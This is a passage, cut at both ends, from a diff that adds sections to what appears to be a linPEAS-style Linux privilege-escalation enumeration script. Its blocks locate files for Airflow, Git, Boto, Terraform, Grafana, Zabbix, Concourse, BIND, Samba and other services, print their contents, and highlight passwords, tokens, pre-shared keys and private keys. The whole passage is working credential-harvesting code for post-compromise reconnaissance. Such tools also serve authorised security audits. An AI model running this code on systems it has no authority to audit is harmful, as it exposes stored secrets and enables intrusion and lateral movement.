+ if ! [ "`echo \"$PSTORAGE_VARNISH\" | grep -E \"varnish$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "varnish"; fi; fi; printf "%s" "$PSTORAGE_VARNISH" | grep -E "varnish$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,varnish$,${SED_RED},"; find "$f" -name "default.vcl" | while read ff; do ls -ld "$ff" | sed -${E} "s,default.vcl,${SED_RED},"; done; echo "";find "$f" -name "secret" | while read ff; do ls -ld "$ff" | sed -${E} "s,secret,${SED_RED},"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_APACHE_AIRFLOW" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Apache-Airflow Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_APACHE_AIRFLOW\" | grep -E \"airflow\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "airflow.cfg"; fi; fi; printf "%s" "$PSTORAGE_APACHE_AIRFLOW" | grep -E "airflow\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,airflow\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,access_control_allow_headers|access_control_allow_methods|access_control_allow_origins|auth_backend|backend.default|google_key_path.*|password|username|flower_basic_auth.*|result_backend.*|ssl_cacert|ssl_cert|ssl_key|fernet_key.*|tls_ca|tls_cert|tls_key|ccache|google_key_path|smtp_password.*|smtp_user.*|cookie_samesite|cookie_secure|expose_config|expose_stacktrace|secret_key|x_frame_enabled,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_APACHE_AIRFLOW\" | grep -E \"webserver_config\.py$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "webserver_config.py"; fi; fi; printf "%s" "$PSTORAGE_APACHE_AIRFLOW" | grep -E "webserver_config\.py$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,webserver_config\.py$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_X11" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing X11 Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_X11\" | grep -E \"\.Xauthority$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".Xauthority"; fi; fi; printf "%s" "$PSTORAGE_X11" | grep -E "\.Xauthority$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.Xauthority$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ROCKETCHAT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Rocketchat Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ROCKETCHAT\" | grep -E \"rocketchat\.service$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rocketchat.service"; fi; fi; printf "%s" "$PSTORAGE_ROCKETCHAT" | grep -E "rocketchat\.service$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rocketchat\.service$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E -i "Environment" | sed -${E} "s,mongodb://.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_RPCD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Rpcd Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_RPCD\" | grep -E \"rpcd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rpcd"; fi; fi; printf "%s" "$PSTORAGE_RPCD" | grep -E "rpcd$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rpcd$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.+|password.+,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_BITCOIN" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Bitcoin Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_BITCOIN\" | grep -E \"bitcoin\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bitcoin.conf"; fi; fi; printf "%s" "$PSTORAGE_BITCOIN" | grep -E "bitcoin\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bitcoin\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user=.*|password=.*|auth=.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_GLUSTERFS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing GlusterFS Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.pem$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.pem"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.pem$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.pem$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.ca$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.ca"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.ca$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.ca$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.key$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.key"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.key$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.key$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_TERRAFORM" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Terraform Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_TERRAFORM\" | grep -E \"\.tfstate$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.tfstate"; fi; fi; printf "%s" "$PSTORAGE_TERRAFORM" | grep -E "\.tfstate$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.tfstate$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,secret.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_TERRAFORM\" | grep -E \"\.tf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.tf"; fi; fi; printf "%s" "$PSTORAGE_TERRAFORM" | grep -E "\.tf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.tf$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_RACOON" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Racoon Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"racoon\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "racoon.conf"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "racoon\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,racoon\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,pre_shared_key.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ROAD_RECON" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Road Recon Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ROAD_RECON\" | grep -E \"\.roadtools_auth$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".roadtools_auth"; fi; fi; printf "%s" "$PSTORAGE_ROAD_RECON" | grep -E "\.roadtools_auth$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.roadtools_auth$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,accessToken.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_GRAFANA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Grafana Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_GRAFANA\" | grep -E \"grafana\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "grafana.ini"; fi; fi; printf "%s" "$PSTORAGE_GRAFANA" | grep -E "grafana\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,grafana\.ini$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#|^;" | sed -${E} "s,admin.*|username.*|password:*|secret.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SIP" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing SIP Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"sip\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sip.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "sip\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sip\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,secret.*|allowguest.*=.*true,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"amportal\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "amportal.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "amportal\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,amportal\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PASS.*=.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"FreePBX\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "FreePBX.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "FreePBX\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,FreePBX\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E ".*AMPDB.*=.*" | sed -${E} "s,.*AMPDB.*=.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"Elastix\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Elastix.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "Elastix\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Elastix\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*pwd.*=.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_VIRTUAL_DISKS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Virtual Disks Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_VIRTUAL_DISKS\" | grep -E \"\.vhd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.vhd"; fi; fi; printf "%s" "$PSTORAGE_VIRTUAL_DISKS" | grep -E "\.vhd$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vhd$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VIRTUAL_DISKS\" | grep -E \"\.vhdx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.vhdx"; fi; fi; printf "%s" "$PSTORAGE_VIRTUAL_DISKS" | grep -E "\.vhdx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vhdx$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VIRTUAL_DISKS\" | grep -E \"\.vmdk$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.vmdk"; fi; fi; printf "%s" "$PSTORAGE_VIRTUAL_DISKS" | grep -E "\.vmdk$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vmdk$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_GIT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Git Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_GIT\" | grep -E \"\.git-credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git-credentials"; fi; fi; printf "%s" "$PSTORAGE_GIT" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git-credentials$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ATLANTIS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Atlantis Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ATLANTIS\" | grep -E \"atlantis\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "atlantis.db"; fi; fi; printf "%s" "$PSTORAGE_ATLANTIS" | grep -E "atlantis\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,atlantis\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,CloneURL|Username,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_OPERA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Opera Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_OPERA\" | grep -E \"com\.operasoftware\.Opera$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "com.operasoftware.Opera"; fi; fi; printf "%s" "$PSTORAGE_OPERA" | grep -E "com\.operasoftware\.Opera$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,com\.operasoftware\.Opera$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SAFARI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Safari Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SAFARI\" | grep -E \"Safari$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Safari"; fi; fi; printf "%s" "$PSTORAGE_SAFARI" | grep -E "Safari$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Safari$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_FAT_FREE" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Fat-Free Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_FAT_FREE\" | grep -E \"fat\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "fat.config"; fi; fi; printf "%s" "$PSTORAGE_FAT_FREE" | grep -E "fat\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,fat\.config$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "password.*" | sed -${E} "s,password.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SHODAN" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Shodan Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SHODAN\" | grep -E \"api_key$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "api_key"; fi; fi; printf "%s" "$PSTORAGE_SHODAN" | grep -E "api_key$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,api_key$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CONCOURSE" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Concourse Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CONCOURSE\" | grep -E \"\.flyrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".flyrc"; fi; fi; printf "%s" "$PSTORAGE_CONCOURSE" | grep -E "\.flyrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.flyrc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,token:*|value:.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CONCOURSE\" | grep -E \"concourse-auth$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "concourse-auth"; fi; fi; printf "%s" "$PSTORAGE_CONCOURSE" | grep -E "concourse-auth$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,concourse-auth$,${SED_RED},"; find "$f" -name "host-key" | while read ff; do ls -ld "$ff" | sed -${E} "s,host-key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,RSA PRIVATE KEY,${SED_RED},g"; done; echo "";find "$f" -name "local-users" | while read ff; do ls -ld "$ff" | sed -${E} "s,local-users,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "session-signing-key" | while read ff; do ls -ld "$ff" | sed -${E} "s,session-signing-key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "worker-key-pub" | while read ff; do ls -ld "$ff" | sed -${E} "s,worker-key-pub,${SED_RED},"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CONCOURSE\" | grep -E \"concourse-keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "concourse-keys"; fi; fi; printf "%s" "$PSTORAGE_CONCOURSE" | grep -E "concourse-keys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,concourse-keys$,${SED_RED},"; find "$f" -name "host_key" | while read ff; do ls -ld "$ff" | sed -${E} "s,host_key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,RSA PRIVATE KEY,${SED_RED},g"; done; echo "";find "$f" -name "session_signing_key" | while read ff; do ls -ld "$ff" | sed -${E} "s,session_signing_key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "worker_key.pub" | while read ff; do ls -ld "$ff" | sed -${E} "s,worker_key.pub,${SED_RED},"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_BOTO" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Boto Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_BOTO\" | grep -E \"\.boto$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".boto"; fi; fi; printf "%s" "$PSTORAGE_BOTO" | grep -E "\.boto$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.boto$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_INFLUXDB" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing InfluxDB Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_INFLUXDB\" | grep -E \"influxdb\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "influxdb.conf"; fi; fi; printf "%s" "$PSTORAGE_INFLUXDB" | grep -E "influxdb\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,influxdb\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,auth-enabled.*=.*false|token|https-private-key,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ZABBIX" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Zabbix Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_server\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_server.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_server\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix_server\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,DBName|DBUser|DBPassword,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_agentd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_agentd.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_agentd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix_agentd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,TLSPSKFile|psk,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix$,${SED_RED},"; find "$f" -name "*.psk" | while read ff; do ls -ld "$ff" | sed -${E} "s,.psk,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PRE_SHARED_KEYS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Pre-Shared Keys Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_PRE_SHARED_KEYS\" | grep -E \"\.psk$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.psk"; fi; fi; printf "%s" "$PSTORAGE_PRE_SHARED_KEYS" | grep -E "\.psk$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.psk$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PASS_STORE_DIRECTORIES" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Pass Store Directories Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_PASS_STORE_DIRECTORIES\" | grep -E \"\.password-store$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".password-store"; fi; fi; printf "%s" "$PSTORAGE_PASS_STORE_DIRECTORIES" | grep -E "\.password-store$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.password-store$,${SED_RED},"; ls -lRA "$f";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SAMBA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Samba Files (limit 70)"
+ smbstatus 2>/dev/null
+ if ! [ "`echo \"$PSTORAGE_SAMBA\" | grep -E \"smb\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "smb.conf"; fi; fi; printf "%s" "$PSTORAGE_SAMBA" | grep -E "smb\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,smb\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "browseable|read only|writable|guest ok|enable privileges|create mask|directory mask|logon script|magic script|magic output" | sed -${E} "s,browseable.*yes|read only.*no|writable.*yes|guest ok.*yes|enable privileges.*yes|create mask.*|directory mask.*|logon script.*|magic script.*|magic output.*,${SED_RED},g" | sed -${E} "s,browseable.*no|read only.*yes|writable.*no|guest ok.*no|enable privileges.*no,${SED_GOOD},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_DNS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing DNS Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_DNS\" | grep -E \"bind$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bind"; fi; fi; printf "%s" "$PSTORAGE_DNS" | grep -E "bind$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bind$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; done; echo "";find "$f" -name "*.key" | while read ff; do ls -ld "$ff" | sed -${E} "s,.key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "named.conf*" | while read ff; do ls -ld "$ff" | sed -${E} "s,named.conf.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#|//" | sed -${E} "s,allow-query|allow-recursion|allow-transfer|zone-statistics|file .*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SEEDDMS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing SeedDMS Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SEEDDMS\" | grep -E \"seeddms.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "seeddms*"; fi; fi; printf "%s" "$PSTORAGE_SEEDDMS" | grep -E "seeddms.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,seeddms.*$,${SED_RED},"; find "$f" -name "settings.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,settings.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "=" | sed -${E} "s,[pP][aA][sS][sS],${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_DDCLIENT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Ddclient Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_DDCLIENT\" | grep -E \"ddclient\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ddclient.conf"; fi; fi; printf "%s" "$PSTORAGE_DDCLIENT" | grep -E "ddclient\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ddclient\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*password.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SENTRY" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Sentry Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sentry$,${SED_RED},"; find "$f" -name "config.yml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,*key*,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry\.conf\.py$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry.conf.py"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry\.conf\.py$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sentry\.conf\.py$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_STRAPI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Strapi Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_STRAPI\" | grep -E \"environments$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "environments"; fi; fi; printf "%s" "$PSTORAGE_STRAPI" | grep -E "environments$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,environments$,${SED_RED},"; find "$f" -name "custom.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,custom.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "database.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,database.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "request.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,request.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "response.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,response.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "security.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,security.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "server.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,server.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CACTI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Cacti Files (limit 70)"
